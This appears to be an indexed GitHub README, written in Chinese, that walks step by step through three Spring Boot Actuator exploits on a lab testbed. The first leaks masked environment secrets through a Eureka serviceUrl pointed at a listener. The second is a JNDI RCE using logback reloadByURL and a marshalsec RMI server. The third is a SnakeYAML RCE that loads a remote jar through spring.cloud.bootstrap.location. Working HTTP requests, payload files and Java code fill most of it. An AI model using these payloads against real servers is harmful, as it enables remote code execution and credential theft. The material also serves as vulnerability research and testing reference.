{"id":13842199,"url":"https://github.com/jas502n/SpringBoot_Actuator_RCE","last_synced_at":"2025-07-11T14:31:11.773Z","repository":{"id":82140614,"uuid":"265304484","full_name":"jas502n/SpringBoot_Actuator_RCE","owner":"jas502n","description":"SpringBoot_Actuator_RCE","archived":false,"fork":false,"pushed_at":"2020-05-26T04:47:09.000Z","size":1412,"stargazers_count":96,"open_issues_count":0,"forks_count":16,"subscribers_count":3,"default_branch":"master","last_synced_at":"2024-11-21T12:45:04.717Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jas502n.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2020-05-19T16:43:08.000Z","updated_at":"2024-11-01T02:37:54.000Z","dependencies_parsed_at":null,"dependency_job_id":"590c157e-7add-40ca-9752-b48c0e7d1734","html_url":"https://github.com/jas502n/SpringBoot_Actuator_RCE","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/jas502n/SpringBoot_Actuator_RCE","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jas502n%2FSpringBoot_Actuator_RCE","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jas502n%2FSpringBoot_Actuator_RCE/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jas502n%2FSpringBoot_Actuator_RCE/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jas502n%2FSpringBoot_Actuator_RCE/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jas502n","download_url":"https://codeload.github.com/jas502n/SpringBoot_Actuator_RCE/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jas502n%2FSpringBoot_Actuator_RCE/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":264833273,"owners_count":23670617,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:01:29.203Z","updated_at":"2025-07-11T14:31:11.234Z","avatar_url":"https://github.com/jas502n.png","language":null,"funding_links":[],"categories":["Others (1002)","Others"],"sub_categories":[],"readme":"## swagger-ui 接口\n\n![](./thinkjava.md)\n`/swagger-ui.html`\n\n# SpringBoot env 获取* 敏感信息 (一)\n\n当我们直接访问 springboot 站点时,可以看到某些 password 字段填充了*\n\n1. 通过${name} 可以获取明文字段\n2. 配置不当导致敏感信息泄露(password 打星号,而 pwd 没有打星号)\n![](./pwd.png)\n\n参考 `https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA`\n\n具体实现过程:\n\n例如: 我们要获取 pid 参数值\n\n```\n\"PID\": \"10648\",\n```\n\n\n```\nPOST /env HTTP/1.1\nHost: 10.20.24.191:8090\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 76\n\neureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/\n\n```\n然后 post refresh 任意内容,触发漏洞\n\nPs: `一般情况需要等待3秒会有响应包，如果立即返回可能是服务缺少spring-boot-starter-actuator扩展包无法刷新漏洞则无法利用`\n\n```\nPOST /refresh HTTP/1.1\nHost: 10.20.24.191:8090\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 5\n\n12312\n```\n\n当服务器 nc 监听端口2444 时,接收到\n\n\n```\nroot@kali:/tmp# nc -lvvp 2444\nlistening on [any] 2444 ...\nconnect to [10.20.24.191] from kali [10.20.24.191] 40960\nGET /xstream/apps/ HTTP/1.1\nAccept: application/json\nDiscoveryIdentity-Name: DefaultClient\nDiscoveryIdentity-Version: 1.4\nDiscoveryIdentity-Id: 10.20.24.191\nAccept-Encoding: gzip\nHost: 10.20.24.191:2444\nConnection: Keep-Alive\nUser-Agent: Java-EurekaClient/v1.4.11\nAuthorization: Basic MzgzNDY6bnVsbA==\n```\n\n`Authorization: Basic MzgzNDY6bnVsbA==`\n\n\nbase64 解码得到\n\n```\nroot@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d\n38346:null\n```\n和上面的 pid 信息一样\n\n\n同样 获取 `user.country`参数,步骤也一样\n\n结果:\n```\nroot@kali:/tmp# nc -lvvp 2555\nlistening on [any] 2555 ...\nconnect to [10.20.24.191] from kali [10.20.24.191] 38994\nGET /xstream/apps/ HTTP/1.1\nAccept: application/json\nDiscoveryIdentity-Name: DefaultClient\nDiscoveryIdentity-Version: 1.4\nDiscoveryIdentity-Id: 10.20.24.191\nAccept-Encoding: gzip\nHost: 10.20.24.191:2555\nConnection: Keep-Alive\nUser-Agent: Java-EurekaClient/v1.4.11\nAuthorization: Basic VVM6bnVsbA==\n\n sent 0, rcvd 310\n```\nbase64 解码得到\n```\nroot@kali:/tmp# echo VVM6bnVsbA== |base64 -d\nUS:null\n\n```\n## 脚本化\n\n输入要查询的参数,输入 nc 监听的端口\n![](./send_env.png)\n\n监听端口,获取指定 header 头,自动 base64 解密\n![](./password.png)\n\nPs: 如果您很幸运在目标类路径中具有Eureka-Client \u003c1.8.7（通常包含在Spring Cloud Netflix中），则可以利用其中的XStream反序列化漏洞。\n\n例如: `User-Agent: Java-EurekaClient/v1.4.11`\n\n\n# SpringBoot_Actuator JNDI RCE 漏洞复现 (二)\n\n\n## 0x01 环境搭建\n\n`git clone https://github.com/veracode-research/actuator-testbed`\n\n启动\n\n```\nmvn install\n或\nmvn spring-boot:run\n```\n\n通过编译运行,发现监听IP 地址为 `127.0.0.1`,只能本机访问\n百度查找,修改为 `0.0.0.0` 就好了\n\n查找关键文件\n\n`grep -r 'server.address' -n ./`\n\n```\n./src/main/resources/application.properties:2:server.address=127.0.0.1\n./target/classes/application.properties:2:server.address=127.0.0.1\n```\n改为\n\n```\nserver.port=8090\nserver.address=0.0.0.0\n\n# vulnerable configuration set 0: spring boot 1.0 - 1.4\n# all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters\n# no configuration required to expose them\n\n# safe configuration set 0: spring boot 1.0 - 1.4\n#management.security.enabled=true\n\n# vulnerable configuration set 1: spring boot 1.5+\n# spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators\n#management.security.enabled=false\n\n# safe configuration set 1: spring boot 1.5+\n# when 'management.security.enabled=false' but all sensitive actuators explicitly disabled\n#management.security.enabled=false\n\n# vulnerable configuration set 2: spring boot 2+\n#management.endpoints.web.exposure.include=*\n```\n\n\n\n## 0x02 重启启动\n\n`mvn spring-boot:run`\n\n或\n\n```\n/opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run\n\n```\n\n稍等片刻\n\n```\nroot@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090\ntcp6       0      0 :::8090                 :::*                    LISTEN      33666/java\nroot@kali:~/actuator/actuator-testbed#\n```\nhttp://10.20.24.191:8090/\n![](./spring.png)\n\nhttp://10.20.24.191:8090/jolokia/list \n![](./reloadByURL.png)\n\n中 reloadByURL 可以加载远程 url xml 文件\n\n\n```\n\"ch.qos.logback.classic\": {\n\"Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator\": {\n\"op\": {\n\"reloadByURL\": {\n\"args\": [\n{\n\"name\": \"p1\",\n\"type\": \"java.net.URL\",\n\"desc\": \"\"\n}\n],\n\"ret\": \"void\",\n\"desc\": \"Operation exposed for management\"\n}\n```\n\n## 0x03 http 服务存放logback.xml,ExportObject.class\n\n\nlogback.xml 文件内容\n\n![](./logback.png)\n\n```\n\u003cconfiguration\u003e\n  \u003cinsertFromJNDI env-entry-name=\"rmi://10.20.24.191:1099/Exploit\" as=\"appName\" /\u003e\n\u003c/configuration\u003e\n```\n\nExportObject.java\n\n```\nimport java.io.BufferedReader;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\n\npublic class ExportObject {\n   public ExportObject() throws Exception {\n      Process var1 = Runtime.getRuntime().exec(\"touch /tmp/jas502n\");\n      InputStream var2 = var1.getInputStream();\n      BufferedReader var3 = new BufferedReader(new InputStreamReader(var2));\n\n      String var4;\n      while((var4 = var3.readLine()) != null) {\n         System.out.println(var4);\n      }\n\n      var1.waitFor();\n      var2.close();\n      var3.close();\n      var1.destroy();\n   }\n\n   public static void main(String[] var0) throws Exception {\n   }\n}\n\n```\n## 0x04 RCE触发\n\n监听 rmi 端口\n\n```\nroot@kali:~/ldap_rmi# cat rmi.sh\njava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://10.20.24.191:8000/#ExportObject\n\n\nroot@kali:~/ldap_rmi# ./rmi.sh\n* Opening JRMP listener on 1099\nHave connection from /10.20.24.191:43878\nReading message...\nIs RMI.lookup call for ExportObject 2\nSending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class\nClosing connection\n\n\n\n```\n\n浏览器访问加载远程logback.xml文件进行解析,\n\n服务器访问恶意jndi 地址,导致恶意字节码代码执行\n\n`http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/10.20.24.191:8000!/logback.xml`\n\n![](./RCE_GET.png)\n\n## 0x05 命令执行成功\n\n![](./a_success.png)\n\n```\nroot@kali:/var/www/html# ls /tmp/j*\n/tmp/jas502n\nroot@kali:/var/www/html#\n```\n# YML RCE 漏洞复现 (三)\n\n通过Spring环境`spring.cloud.bootstrap.location` 属性修改来实现RCE的方法更可靠\n\n该属性用于加载外部配置并以YAML格式解析它。\n为了实现这一点，任需要POST `/refresh` 任意内容触发漏洞。\n\n## yaml_payload.yml 文件内容\n\n![](./yml_http.png)\n\n```\n!!javax.script.ScriptEngineManager [\n  !!java.net.URLClassLoader [[\n    !!java.net.URL [\"http://10.20.24.191:8000/yaml_payload.jar\"]\n  ]]\n]\n```\n\n## 0x00 yaml_payload.jar 制造\n\n代码 `https://github.com/artsploit/yaml-payload`\n\n![](./jar.png)\n\nAwesomeScriptEngineFactory.java 部分代码\n```\nimport javax.script.ScriptEngine;\nimport javax.script.ScriptEngineFactory;\nimport java.io.IOException;\nimport java.util.List;\n\npublic class AwesomeScriptEngineFactory implements ScriptEngineFactory {\n\n    public AwesomeScriptEngineFactory() {\n        try {\n            Runtime.getRuntime().exec(\"touch /tmp/success\");\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n```\n  `ymal_payload.jar\\artsploit\\AwesomeScriptEngineFactory.java `\n\n包含实际的字节码，并在构造函数中带有恶意有效载荷。\n\n  `ymal_payload.jar\\services\\javax.script.ScriptEngineFactory`\n\n只是一个包含对'artsploit.AwesomeScriptEngineFactory'的完整引用的文本文件，\n以便ServiceLoader知道在哪里可以找到该类\n\n内容：`artsploit.AwesomeScriptEngineFactory`\n\njar 文件存在到http服务器中\n\nhttp://10.20.24.191:8090/ymal_payload.jar\n\n## 0x01 Set spring.cloud.bootstrap.location\n\n`spring.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml`\n\n![](./location.png)\n```\nPOST /env HTTP/1.1\nHost: 10.20.24.191:8090\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nX-Forwarded-For: 127.0.0.1\nConnection: close\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 73\n\nspring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml\n```\n\n## 0x02 refresh post任意内容，RCE 漏洞触发\n\n![](./yaml_refresh.png)\n\n```\nPOST /refresh HTTP/1.1\nHost: 10.20.24.191:8090\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nX-Forwarded-For: 127.0.0.1\nConnection: close\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 5\n\n12312\n```\n## 0x03 RCE 执行成功\n\n![](./yaml_success.png)\n```\nroot@kali:/var/www/html# ls /tmp/succ*\n/tmp/success\nroot@kali:/var/www/html# \n\n```\n\n\n\nPs: 与Eureka的XStream有效负载相比，yaml的方法甚至可以在最新版本中使用。\n\n## 参考链接\n\nhttps://www.veracode.com/blog/research/exploiting-spring-boot-actuators\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjas502n%2FSpringBoot_Actuator_RCE","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fjas502n%2FSpringBoot_Actuator_RCE","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjas502n%2FSpringBoot_Actuator_RCE/lists"}